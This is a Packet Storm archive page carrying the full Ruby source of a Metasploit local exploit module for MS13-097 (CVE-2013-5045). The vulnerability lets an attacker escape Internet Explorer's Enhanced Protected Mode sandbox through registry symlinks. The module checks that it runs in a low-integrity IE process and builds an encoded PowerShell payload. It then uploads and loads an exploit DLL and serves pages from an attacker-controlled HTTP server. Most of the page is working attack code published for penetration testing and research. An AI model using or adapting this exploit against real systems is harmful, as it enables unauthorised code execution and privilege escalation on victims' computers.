exploit the possibilities

MS13-097 Registry Symlink IE Sandbox Escape

MS13-097 Registry Symlink IE Sandbox Escape
Posted Jun 27, 2014
Authored by juan vazquez, James Forshaw | Site metasploit.com

This Metasploit module exploits a vulnerability in Internet Explorer Sandbox which allows to escape the Enhanced Protected Mode and execute code with Medium Integrity. The vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll component, which can be abused to force medium integrity IE to user influenced keys. By using registry symlinks it's possible force IE to add a policy entry in the registry and finally bypass Enhanced Protected Mode.

tags | exploit, registry
advisories | CVE-2013-5045
MD5 | ef7740b999fc84dc0a624768d0f11944

MS13-097 Registry Symlink IE Sandbox Escape

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'

class Metasploit3 < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer
include Msf::Post::Windows::Priv

def initialize(info={})
super( update_info( info,
'Name' => 'MS13-097 Registry Symlink IE Sandbox Escape',
'Description' => %q{
This module exploits a vulnerability in Internet Explorer Sandbox which allows to
escape the Enhanced Protected Mode and execute code with Medium Integrity. The
vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll
component, which can be abused to force medium integrity IE to user influenced keys.
By using registry symlinks it's possible force IE to add a policy entry in the registry
and finally bypass Enhanced Protected Mode.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Forshaw', # Vulnerability Discovery and original exploit code
'juan vazquez' # metasploit module
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'IE 8 - 11', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => "Dec 10 2013",
'References' =>
[
['CVE', '2013-5045'],
['MSB', 'MS13-097'],
['BID', '64115'],
['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
]
))

register_options(
[
OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10])
])
end

def exploit
print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?

mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')
if mod_handle['return'] == 0
fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")
end

unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NotVulnerable, "Not running at Low Integrity")
end

begin
Timeout.timeout(datastore['DELAY']) { super }
rescue Timeout::Error
end

session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", nil)
session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", nil)
end

def primer
cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd)

html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"
session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri)

temp = get_env('TEMP')

print_status("Loading Exploit Library...")

session.core.load_library(
'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"),
'TargetFilePath' => temp + "\\CVE-2013-5045.dll",
'UploadLibrary' => true,
'Extension' => false,
'SaveToDisk' => false
)
end

def on_request_uri(cli, request)
if request.uri =~ /\.html$/
print_status("Sending window close html...")
close_html = <<-eos
<html>
<body>
<script>
window.open('', '_self', '');
window.close();
</script>
</body>
</html>
eos
send_response(cli, close_html, { 'Content-Type' => 'text/html' })
else
send_not_found(cli)
end
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

January 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    15 Files
  • 2
    Jan 2nd
    15 Files
  • 3
    Jan 3rd
    11 Files
  • 4
    Jan 4th
    1 Files
  • 5
    Jan 5th
    2 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    24 Files
  • 8
    Jan 8th
    15 Files
  • 9
    Jan 9th
    16 Files
  • 10
    Jan 10th
    23 Files
  • 11
    Jan 11th
    17 Files
  • 12
    Jan 12th
    3 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    18 Files
  • 15
    Jan 15th
    33 Files
  • 16
    Jan 16th
    23 Files
  • 17
    Jan 17th
    29 Files
  • 18
    Jan 18th
    15 Files
  • 19
    Jan 19th
    2 Files
  • 20
    Jan 20th
    3 Files
  • 21
    Jan 21st
    17 Files
  • 22
    Jan 22nd
    19 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close